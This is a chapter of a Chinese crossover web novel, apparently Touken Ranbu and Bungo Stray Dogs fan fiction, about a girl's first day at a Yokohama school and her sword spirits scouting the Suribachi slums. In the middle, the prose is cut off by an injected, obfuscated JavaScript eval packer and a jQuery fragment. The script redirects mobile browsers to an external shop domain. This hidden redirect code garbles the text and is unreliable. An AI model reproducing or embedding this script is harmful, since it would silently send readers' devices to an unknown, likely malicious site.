横滨的早晨比东京来得安静。

    东京市区从早上六点就开始躁动,要是往窗外看能够看到车流和晨练、忙碌的人影。

    我在自己的床上醒来。

    这间公寓的床比东京那套房子里的软,枕头的高度也不一样。但这不是我醒得早的原因——我没有认床的习惯,醒得早只是因为习惯了。

    窗帘没有拉严实,一道阳光从缝隙里挤进来,在床尾的地板上投影出一条细长的金线。

    腹部的伤口已经大致无碍。

    我掀开衣服,绷带下的皮肤已经愈合得差不多。这全都得益于灵力的自我修复,换做往常,这样的伤起码要躺一个月。

    倒是省了抹祛疤膏的步骤。

    亚细亚旗下有专门研发的祛疤膏,很管用,但是涂抹部位会很痒一般人忍不了,所以算是我的特供。

    伤口留疤时候的我很狼狈,但死性不改。

    “主。”门外传来长义的声音。

    “进来。”

    门被推开,银发青年端着一个托盘走进来,托盘上是粥、小菜、一杯温水,还有一枝插在玻璃瓶里的白色小花。

    他把托盘放在床头柜上,然后退后一步站着,没有离开的意思。

    我看了他一眼,“昨晚没睡?”

    他的眼下有淡淡的青黑,头发虽然打理过,但能看出来精神状态不太好。

    付丧神也会有黑眼圈吗?在这种地方倒是很像个人类了。

    “睡了。”他说,“浅一点。”

    这不是“睡了”,这是“守了一夜”才对吧。

    我没有拆穿他,端起水杯喝了一口。

    “国广呢?”我问。

    “在做便当。”

    我放下水杯,叹了口气伸手拉住他的袖口把他拽到床边,然后伸手摸了摸他的头。银色的头发比我预想的要软,从指缝间滑过,凉丝丝的。

    “我没事。”我说,“伤口已经好了。”

    “我知道。”长义的声音很轻,“但我——”

    他没有说下去,但我可以帮他补全——“但我控制不住”。

    在商场里,看到我中枪倒下的那一刻,他们发挥了当前的最大机动,但太晚了,血已经流了满地,我已经闭上了眼睛。

    那样的场面对任何一个刀剑男士来说都是噩梦一样的存在,更别提本来就有些潜在心理问题的长义和国广了。

    好吧好吧,我的良心就这样时隐时现。明明完美达到了计划的预期效果,结果现在真看到他们的样子又觉得下手太狠。

    这样不行,我告诫自己,心疼别人倒霉的是自己。

    不过我又转念一想,有契约在也不能说是别人,四舍五入我们之间的关系是三位一体诶,稍微心疼一下自己是可以的吧。

    我把自己说服了,于是松开手,拍了拍他的肩膀,体贴道:“不用在这儿守着我,你也去吃饭吧。”

    长义摇摇头,去帮我支起小桌板,再把托盘上的东西一一摆好。

    “我和伪物君已经吃过了。”

    银发打刀十分自然地拉了一把椅子在床边,端起粥舀了一勺,还吹了吹,递到我嘴边。

    ……是谁在现代过上了皇帝的生活,好封建,好落后,好,呃,好香。

    我张嘴咬住勺子。

    见我乖乖吃下去,长义轻笑了一下。

    对不起家人们,对于这张脸,这个人,我真的抵抗不能。

    被人喂饭还是太挑战我的羞耻心了,体验了两分钟的我还是伸手要求自己来。

    长义亲眼看着我将早饭吃完,收拾了托盘出去。

    紧接着国广敲门进来,带着我洗干净的新校服,还有药箱。

    他看起来是想帮我换药。

    我手快,直接掀开了自己的上衣,当然,没有全脱。刚想说话就见他猛地背过身去,耳朵一下子红透。

    诶呦,刀子精也知道男女有别吗?

    “你害羞什么?以前被摆在主君卧室的时候没见过吗?”我好笑着问他。

    “那!”国广的声音有点拔高,随后又猛一下降下去,“那不一样,主,那个时候的我还没有人身……”

    “那你现在是想做我的刀,还是我的那些人类下属?”

    “当然是您的刀。”国广回答的不假思索。

    “那不就得了?我还没见过有刀和主人这么生分的。”

    对,但又好像哪里不对。

    山姥切国广脑海里的潜意识告诉他,身为家臣的话应该这样做,但他本身是刀剑又不是真的人类。

    人类会对博物馆里赤|裸裸的刀条产生别样的情感吗?显然不会吧。

    那么同理,对刀剑来说人类也是一样的。

    主说的对,国广选择相信我的话并把自己刚才的反应归于被主人亲信后的羞赧。

    能够被摆放在寝室的刀当然是主人的爱刀,所以现在的场景四舍五入他山姥切国广=主人的爱刀。

    这个等式一在脑海中成立,金发打刀的耳朵甚至更红了。

    好玩。

    我内心没有半点把刃忽悠瘸了的愧疚。

    腹部的绷带只缠了薄薄一层,我伸手解开,将疤痕状况显露出来。

    国广抛下脑袋里的杂念,弯下腰很仔细查看我的伤势然后大大松了一口气,同意了我不缠绷带的要求。

    换衣服时国广还是退出去了,我也不真想有人盯着或者帮我穿衣服。

    “今天要去学校吗?”

    走出房门来到客厅时,长义问我。

    “嗯,过去处理转学手续。”我说,“然后去教室上课。”

    横滨市立中学。昨天在电梯里偶遇那个赭红发少年时,他看了我一眼——大概是从校服认出了学校。

    看上去和我同龄,工作日出门但穿着打扮不是学生,看到我身上的校服第一眼反应是遗憾?可惜?怀念?

    这栋公寓的住户总不至于付不起一所公立学校的学费,再加上少年身上昂贵的手工西装。

    ——邻居先生是Mafia啊。

    “我陪您去。”国广说。

    我没说同不同意,转而说起另一件事:“横滨是Mafia的地盘,不比东京,我们在这里没有多余的人手。这里最特殊的地方就是擂钵街,也就是俗称的贫民窟,今天之内,摸清楚那里的地形,可以做到吗?”

    “当然。”长义扬起一抹自信的微笑,向我躬身行礼,“谨遵主命。”

    所以上学时跟着我的是山姥切国广。

    横滨市立中学距离公寓走路十五分钟。

    路上经过一条商店街,一家花店,一个公园。这个时间点街上没什么人,只有几个遛狗的老人和赶着上班的年轻人。

    国广走在我身后半步的位置,不远不近,刚好是一伸手就能碰到我的距离。

    “你不用这么紧张。”我说。

    “我没有紧张。”

    说这话的时候,他的注意力还在周边高于二层的大型建筑上——狙击手和枪械对于刀剑付丧神来说真的是大敌。

    没有就没有吧,我没有拆穿他,本人很享受这种紧张。

    到学校门口的时候,国广自觉消失不见,没有离开,大概是找了个不引人注意的角落cos忍者。

    在我走进教学楼见到教务主任时仍能感觉到被注视着。

    好乖。

    教务主任是个五十多岁的秃顶男人,戴着一副圆框眼镜,说话慢条斯理。他看了我的材料,抬头打量了我一眼。

    “春日川同学,你从东京转过来,横滨的教学进度和东京不太一样,如果有跟不上——”

    “不会的。”我微笑着打断他,“我会努力跟上。”

    他点点头,没有再说什么,叫了一个女老师带我去教室。

    二年三班,教室在三楼的走廊尽头。

    女老师推开门的瞬间,里面的吵闹声一下子安静了。

    “这是今天转来的春日川同学。春日川同学,做个自我介绍吧。”

    我走上讲台,拿起粉笔在黑板上写下自己的名字,转身面对下面三十多张好奇的脸。

    “我是春日川,请多关照。”

    鞠躬,微笑,标准流程。

    下面响起稀稀拉拉的掌声。有人在窃窃私语,目光在我脸上和校服上打转。

    女老师指了一个靠窗的空位让我坐下。

    我走过去坐下,把新领的课本摆好,偏头看向窗外时瞥到了正对着那棵树上的一片白色衣角。

    转学的第一节课就这样平淡地开始了。

    ————

    上午的课很无聊。

    数学、国语、英语,内容比东京学校教的简单不少。

    我在本子上画火柴人打发时间,画了一个银色披风的火柴人和一个白色斗篷的火柴人,笔尖顿了顿又在旁边添了一个黑漆漆的火柴人,然后在上面重重画了一个“X”。

    课间的时候,有人来找我搭话,坐在前排的一个女生,问我要不要一起去小卖部,被我婉拒了。

    过了一会儿又有一个男生过来问我从东京哪个学校转来的,我说“没什么名气的小学校”,他识趣地没再追问。

    转学生第一天总是被围观的对象,但大部分人只是好奇。他们看几眼,问几个问题,发现这个新来的没什么特别的,就会散开。

    我乐得清闲。

    中午在食堂寻了个角落的位置坐下,我打开国广做的便当:玉子烧切成均匀的厚片,章鱼香肠摆成一排,米饭上还用海苔和芝麻摆了“好好吃饭”的字样。

    国广厨艺大精进。

    吃完便当,我把空盒收好,在校园里走了走。

    横滨市立中学的校园比东京那所贵族学校小很多,但绿化很好。教学楼后面有一排银杏树,这个季节叶子还是绿的,阳光透过树叶落在地上,斑斑驳驳。

    我找了一棵靠墙的银杏树,靠着树干坐下,掏出手机。

    不出所料,A君的消息一下子弹了满屏。

    「中午了,吃饭了吗?」

    我回:「吃了。」

    「吃的什么?」

    「便当。」

    「谁做的?」

    「国广。」

    「……哼。」

    我几乎能透过屏幕看到他撇嘴的样子。

    「伤口还疼吗?」

    「不疼了。」

    「骗人。」

    「真的不疼了。」

    「骗人精!」

    然后他就不理我了。

    这下轮到我撇嘴了,小孩子吗他?

    ————

    下午的课更无聊。

    历史老师讲的是横滨开港史,内容我早就背过,于是又开始跑神,笔在课本空白处画了一个潦草的港口地形图,标注了几个关键位置。

    历史老师在讲台上滔滔不绝,我在下面继续写写画画。

    下午只有一节课,没有社团活动的我响铃就能走。

    我收拾好东西,走出教室的时候校园里已经没什么人了。社团活动还没开始,大部分学生都去了操场或体育馆,教学楼的走廊空荡荡的。

    我沿着走廊往校门的方向走,路过一楼拐角的时候,看到前面有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605552|202535||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一个身影。

    是个男生,穿着和我同款的校服,但领带的颜色不同——是低年级的。短发,戴眼镜,站得笔直,手里拿着一个笔记本。

    他站在公告栏前,似乎在抄什么东西。

    我路过他身边的时候,他忽然抬起头。

    “春日川前辈。”

    男生从公告栏前转过身来,朝我微微鞠躬。

    我停下脚步,看了他一眼。

    长相还不错,戴着一副款式普通的眼镜,整个人透着一股与年龄不符的严肃。

    “你认识我?”我问。

    “是的。”他推了推眼镜,“很抱歉,今天早上我帮老师整理文件时,无意中看到了前辈的转学材料。”

    原来如此。

    “你是风纪委员?”我猜道。

    “是的。”他的表情有一瞬间的惊讶,大概没想到我会猜到。

    其实很好猜啊,这位学弟看上去就很风纪委员的样子。

    “我是国木田独步,一年级的。前辈叫我国木田就好。”

    “国木田君。”我从善如流,“有事吗?”

    “横滨和东京不太一样。”他说,“这里……有些地方不太安全。前辈如果对学校周边不熟悉,我可以——”

    “不用了。”我打断他,“我有人接。”

    我朝校门的方向扬了扬下巴。国木田顺着我的视线看过去,看到了站在樱花树下的金发青年。

    国广今天穿着一件深灰色的风衣,没有戴帽子,金色的头发在阳光下格外显眼,他低着头装作在看手机。

    “啊,抱歉,是我唐突了。”国木田君一下子有些慌乱,“那么前辈路上注意安全。”

    我和他说了声再见,看着人转身快步离开。

    “主。”国广走过来接过我的书包。

    “这学校还怪好玩的。”我兴致勃勃跟他说,自然地挎上他空闲的另一只手臂。

    回到公寓的时候,玄关没有长义的鞋。

    “本歌还没回来。”国广看着空荡荡的鞋架,眉头微微皱了一下。

    “嗯。”我换好鞋,把书包扔在沙发上,“他有跟我发消息说天黑之前回来,现在还早。”

    国广没有多说,去厨房给我倒了杯热水,然后开始准备晚饭的食材。我窝在沙发上,掏出手机看了一眼。

    A君的消息停留在下午那句“骗人精”,之后没有新消息。大概是赌气,也可能是真的忙。那就是没什么事,我把手机扣在一边。

    茶几上摊着张擂钵街的地形图,是柳泽明搜集的版本,只能算个大概。

    我靠在沙发上闭了一会儿眼,意识有些模糊。灵力的自我修复在加速,身体比平时更容易疲惫。半梦半醒之间,听到厨房里传来切菜的声音。

    不知道过了多久,玄关传来开门的声音。

    我睁开眼,长义正弯着腰换鞋。银色的头发上沾着几片枯叶,风衣下摆有一块不太明显的污渍。他的表情倒是很平静,看不出什么异常。

    “回来了?”我坐直身体。

    “是。”长义走过来,在我对面的沙发上坐下。国广从厨房探出头看了一眼,确认人没事,又缩了回去。

    “怎么样?”我问。

    “比想象的要复杂。”长义拿过茶几上的地图,用铅笔在上面圈了几处,画了几条不为人知的小路暗巷。

    “这几个位置有人把守。”他用手指点了点那几个圈,“他们手里有枪,我没有擅自靠近。”

    “还有这个位置。”他又点了点地图边缘靠近港口的一个仓库,“有铁皮封死的窗户,但里面透出白光。不是普通的照明,更像是……实验室用的冷光灯。”

    “嗯……你怎么看?”我沉吟,反问他。

    “大概是假的,一个简陋的陷阱。”长义没有犹豫就说出结论。

    哦哦不愧是时政钦点公务员刀,不是傻子真是太好了。

    我点点头,示意他继续说。

    “这个陷阱的目标应该不是我们。我在附近探查的时候遇到几个也在关注那些守卫的孩子,大概都是十几岁的少年。”

    “孩子?”我挑眉。

    “嗯。”长义点头,眼神有些复杂,“他们说‘羊之王’背叛了他们当了Port Mafia的走狗,要得到力量让他们付出代价。”

    好粗糙的骗术,谁家的“力量”会放在擂钵街那种房子四面漏风,不隔音不挡雨还人流混杂的地方,怎么说也应该在地下吧。

    我沉默了一会儿。

    国广从厨房端出一盘切好的水果,放在茶几上。草莓切成了兔子形状,橙子剥成了花瓣样,猕猴桃码得整整齐齐。

    “主,先吃点水果。”他说。

    “而且,主,我在擂钵街感应到了一股陌生的灵力。”长义说。

    “我没办法确认灵力的具体位置,它只出现了很短的时间,不过我确认那不是错觉。”

    陌生的灵力啊……

    “那个把你们带到这个世界的审神者大人?”

    长义和国广对视一眼,脸色都有些微妙。

    “不排除这种可能。”长义斟酌着说。

    我没说话了。

    为什么是横滨呢?这个地方很特殊?那为什么我是在东京捡到山姥切长义和山姥切国广的本体刀?

    还有我那早死的父母,他们也对横滨念念不忘,甚至想过搬家的事。

    虽然没搬成就死了。

    哦,他们死掉这件事倒是跟秘密没关系,就是天照大神来了他们都是因为意外死的。

    因为是我安排的(爽朗.jpg)